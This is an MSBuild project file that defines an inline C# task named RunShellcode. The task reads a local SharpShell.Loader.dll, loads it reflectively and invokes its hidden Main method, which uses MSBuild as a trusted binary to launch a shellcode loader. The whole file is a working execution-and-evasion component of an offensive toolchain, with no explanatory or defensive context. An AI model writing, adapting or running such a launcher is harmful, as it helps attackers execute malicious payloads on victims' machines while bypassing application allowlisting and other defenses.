run_pwsh.xml

<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<UsingTask TaskName="RunShellcode" TaskFactory="RoslynCodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll">
		<Task>
			<Using Namespace="System" />
			<Using Namespace="System.IO" />
			<Using Namespace="System.Runtime.InteropServices" />
			<Using Namespace="System.Reflection"/>
			<Code Type="Class" Language="cs">
				<![CDATA[
				using System;
				using System.IO;
				using System.Runtime.InteropServices;
				using Microsoft.Build.Framework;
				using Microsoft.Build.Utilities;
				using System.Reflection;

				public class RunShellcode : Task
				{
					public override bool Execute()
					{
						var dll = File.ReadAllBytes("SharpShell.Loader.dll");
						var loader = Assembly.Load(dll);
						var type = loader.GetType("SharpShell.Loader.Program")!;
						var method = type.GetMethod("Main", BindingFlags.Static | BindingFlags.NonPublic)!;
						var res = method.Invoke(null, new object[] {new string[] {}});
						return true;
					}
				}
				]]>
			</Code>
		</Task>
	</UsingTask>

	<Target Name="Run">
		<RunShellcode />
	</Target>
</Project>